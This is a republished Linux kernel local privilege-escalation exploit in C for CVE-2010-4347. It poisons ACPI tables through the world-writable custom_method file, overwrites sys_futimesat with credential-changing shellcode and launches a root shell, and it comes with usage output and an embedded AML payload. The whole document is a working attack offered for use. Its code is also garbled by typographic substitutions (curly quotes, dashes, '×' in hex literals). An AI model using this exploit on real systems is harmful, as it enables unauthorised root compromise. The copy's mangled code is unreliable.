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   This custom_method file allows to inject custom ACPI methods into the ACPI interpreter tables. This control file was introduced with world writeable permissions in Linux Kernel 2.6.33.

/*
* american-sign-language.c
*
* Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
*   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347
*
*   This custom_method file allows to inject custom ACPI methods into the ACPI
*   interpreter tables. This control file was introduced with world writeable
*   permissions in Linux Kernel 2.6.33.
*
* Usage:
*
*   $ gcc american-sign-language.c -o american-sign-language
*   $ ./american-sign-language
*   [+] resolving required symbols…
*   [+] checking for world-writable custom_method…
*   [+] checking for an ACPI LID device…
*   [+] poisoning ACPI tables via custom_method…
*   [+] triggering ACPI payload via LID device…
*   [+] triggering exploit via futimesat…
*   [+] launching root shell!
*   # id
*   uid=0(root) gid=0(root) groups=0(root)
*
* Notes:
*
*   This vuln allows us to write custom ACPI methods and load them into the
*   kernel as an unprivileged user. We compile some fancy ASL down to AML
*   that overrides the ACPI method used when the status of the LID device is
*   queried (eg. ‘open’ or ‘closed’ lid on a laptop). When the method is
*   triggered, it overlays an OperationRegion on the physical address where
*   sys_futimesat is located and overwrites the memory via the Store to
*   escalate privileges whenever sys_futimesat is called.
*
*   The payload is 64-bit only and depends on the existence of a LID device
*   (eg. laptop), but the exploit will still tell you if you’re vulnerable
*   regardless. If you don’t know how to work around these limitations, you
*   probably shouldn’t be running this in the first place. :-P
*
*   Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/utsname.h>

/*
* The ASL payload looks like:
*
* DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0×00001001) {
*   Method (\_SB.LID._LID, 0, NotSerialized) {
*     OperationRegion (KMEM, SystemMemory, PHYADDR, 0×392)
*     Field(KMEM, AnyAcc, NoLock, Preserve) {
*       HACK, 0×392
*     }
*     Store (Buffer () {
*       0×55, 0×48, 0×89, 0xe5, 0×53, 0×48, 0×83, 0xec,
*       0×08, 0×48, 0xc7, 0xc3, 0×24, 0×24, 0×24, 0×24,
*       0×48, 0xc7, 0xc0, 0×24, 0×24, 0×24, 0×24, 0xbf,
*       0×00, 0×00, 0×00, 0×00, 0xff, 0xd0, 0×48, 0×89,
*       0xc7, 0xff, 0xd3, 0×48, 0xc7, 0xc0, 0xb7, 0xff,
*       0xff, 0xff, 0×48, 0×83, 0xc4, 0×08, 0x5b, 0xc9,
*       0xc3 }, HACK)
*     Return (One)
*   }
* }
*
* Feel free to `iasl -d` this is you don’t trust me! ;-)
*/
#define PAYLOAD_AML \
"\x53\x53\x44\x54\x90\x00\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c" \
"\x21\x05\x09\x20\x14\x4b\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x4c\x49" \
"\x44\x5f\x5f\x4c\x49\x44\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\xe0" \
"\x61\x17\x01\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41" \
"\x43\x4b\x42\x39\x70\x11\x34\x0a\x31\x55\x48\x89\xe5\x53\x48\x83" \
"\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24" \
"\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7" \
"\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01"
#define PAYLOAD_LEN 144

#define CUSTOM_METHOD "/sys/kernel/debug/acpi/custom_method"
#define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state"

unsigned long
get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[512];
    struct utsname ver;
    int ret;
    int rep = 0;
    int oldstyle = 0;
 
    f = fopen("/proc/kallsyms", "r");
    if (f == NULL) {
        f = fopen("/proc/ksyms", "r");
        if (f == NULL)
            goto fallback;
        oldstyle = 1;
    }
 
repeat:
    ret = 0;
    while(ret != EOF) {
        if (!oldstyle)
            ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
        else {
            ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
            if (ret == 2) {
                char *p;
                if (strstr(sname, "_O/") || strstr(sname, "_S."))
                    continue;
                p = strrchr(sname, ‘_’);
                if (p > ((char *)sname + 5) && !strncmp(p – 3, "smp", 3)) {
                    p = p – 4;
                    while (p > (char *)sname && *(p – 1) == ‘_’)
                        p–;
                    *p = ”;
                }
            }
        }
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {
            fclose(f);
            return addr;
        }
    }
 
    fclose(f);
    if (rep)
        return 0;
fallback:
    uname(&ver);
    if (strncmp(ver.release, "2.6", 3))
        oldstyle = 1;
    sprintf(sname, "/boot/System.map-%s", ver.release);
    f = fopen(sname, "r");
    if (f == NULL)
        return 0;
    rep = 1;
    goto repeat;
}

int
main(int argc, char **argv)
{
    int ret;
    FILE *fp;
    char buf[64];
    struct stat sb;
    char payload[PAYLOAD_LEN] = PAYLOAD_AML;
    unsigned long sys_futimesat, prepare_kernel_cred, commit_creds;

    printf("[+] resolving required symbols…\n");

    sys_futimesat = get_symbol("sys_futimesat");
    if (!sys_futimesat) {
        printf("[-] sys_futimesat symbol not found, aborting!\n");
        exit(1);
    }

    prepare_kernel_cred = get_symbol("prepare_kernel_cred");
    if (!prepare_kernel_cred) {
        printf("[-] prepare_kernel_cred symbol not found, aborting!\n");
        exit(1);
    }

    commit_creds = get_symbol("commit_creds");
    if (!commit_creds) {
        printf("[-] commit_creds symbol not found, aborting!\n");
        exit(1);
    }

    printf("[+] checking for world-writable custom_method…\n");

    ret = stat(CUSTOM_METHOD, &sb);
    if (ret < 0) {
        printf("[-] custom_method not found, kernel is not vulnerable!\n");
        exit(1);
    }

    if (!(sb.st_mode & S_IWOTH)) {
        printf("[-] custom_method not world-writable, kernel is not vulnerable!\n");
        exit(1);
    }

    printf("[+] checking for an ACPI LID device…\n");

    ret = stat(HEY_ITS_A_LID, &sb);
    if (ret < 0) {
        printf("[-] ACPI LID device not found, but kernel is still vulnerable!\n");
        exit(1);
    }

    if (sizeof(sys_futimesat) != 8) {
        printf("[-] payload is 64-bit only, but kernel is still vulnerable!\n");
        exit(1);
    }

    sys_futimesat &= ~0xffffffff80000000;
    memcpy(&payload[63], &sys_futimesat, 4);
    memcpy(&payload[101], &commit_creds, 4);
    memcpy(&payload[108], &prepare_kernel_cred, 4);

    printf("[+] poisoning ACPI tables via custom_method…\n");

    fp = fopen(CUSTOM_METHOD, "w");
    fwrite(payload, 1, sizeof(payload), fp);
    fclose(fp);

    printf("[+] triggering ACPI payload via LID device…\n");

    fp = fopen(HEY_ITS_A_LID, "r");
    fread(&buf, 1, sizeof(buf), fp);
    fclose(fp);

    printf("[+] triggering exploit via futimesat…\n");

    ret = futimesat(0, "/tmp", NULL);

    if (ret != -1 || errno != EDOTDOT) {
        printf("[-] unexpected futimesat errno, exploit failed!\n");
        exit(1);
    }

    if (getuid() != 0) {
        printf("[-] privileges not escalated, exploit failed!\n");
        exit(1);
    }

    printf("[+] launching root shell!\n");
    execl("/bin/sh", "/bin/sh", NULL);
}